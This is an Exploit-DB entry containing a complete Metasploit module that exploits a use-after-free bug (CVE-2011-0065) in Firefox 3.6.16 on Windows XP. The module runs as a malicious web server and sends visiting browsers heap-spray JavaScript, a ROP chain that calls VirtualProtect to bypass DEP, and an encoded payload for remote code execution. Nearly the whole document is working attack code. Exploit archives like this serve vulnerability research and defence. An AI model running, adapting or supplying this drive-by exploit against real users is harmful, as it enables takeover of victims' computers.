Exploit-DB #17612
Description: Mozilla Firefox 3.6.16 - OBJECT mChannel Remote Code Execution (DEP Bypass) (Metasploit)
Type: remote
Platform: windows
Date: 2011-08-05
Author: Rh0

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.6.16",
		:ua_maxver => "3.6.16",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Firefox 3.6.16 mChannel use after free Exploit',
			'Description'    => %q{
					This module exploits an use after free vulnerability in Mozilla
				Firefox 3.6.16. An OBJECT Element mChannel can be freed via the 
				OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
				becomes a dangling pointer and can be reused when setting the OBJECTs 
				data attribute. (Discovered by regenrecht). This module uses heapspray
				with a minimal ROP chain to bypass DEP on Windows XP SP3
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'regenrecht',   #  discovery
					'Rh0'    # wrote metasploit module
				],
			'Version'        => '0.0',
			'References'     =>
				[
					['CVE',    '2011-0065'],
					['OSVDB',  '72085'],
					['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
					['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "",
				},
			'Targets'        =>
				[	# worked with 100% reliability
					[ 'Firefox 3.6.16, Windows XP SP3 (VirtualBox 4)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 10 2011'
			))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli).encoded) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

	def generate_html(payload)
		
		# DEP bypass
		custom_stack = [
			0x1052c871,	# mov esp,[ecx] / mov edx,5c86c6ff add [eax],eax / xor eax,eax / pop esi / retN 0x8
			0x7c801ad4, 	# VirtualProtect 
			0xbeeff00d,
			0xbeeff00d,
			0x7c874413,	# jmp esp
			0x0c0c0048,	# start address
			0x00000400,	# size 1024
			0x00000040,	# Page EXECUTE_READ_WRITE
			0x0c0c0c00	# old protection
			].pack("V*")
			
		payload_buf = ''
		payload_buf << custom_stack
		payload_buf << payload
		escaped_payload = Rex::Text.to_unescape(payload_buf)
		
		custom_js = %Q|
		
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\\x0c%u0c0c")

// taken and modified from adobe_flashplayer_newfunction.rb
var sc = unescape("#{escaped_payload}")
var ret_addr = unescape("%u0024%u0c0c")
while(ret_addr.length+20+8 < 0x100000) {ret_addr += ret_addr}
var b = ret_addr.substring(0,(0x48-0x24)/2)
b += sc
b += ret_addr
var next = b.substring(0,0x10000/2)
while(next.length<0x800000) {next += next}
var again = next.substring(0,0x80000 - (0x1020-0x08)/2)
array = new Array()
for (n=0;n<0x1f0;n++){
	array[n] = again + sc
}

e.data = ""
		|
		
		return %Q|
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
#{custom_js}
</script></body></html>
		|
	end

end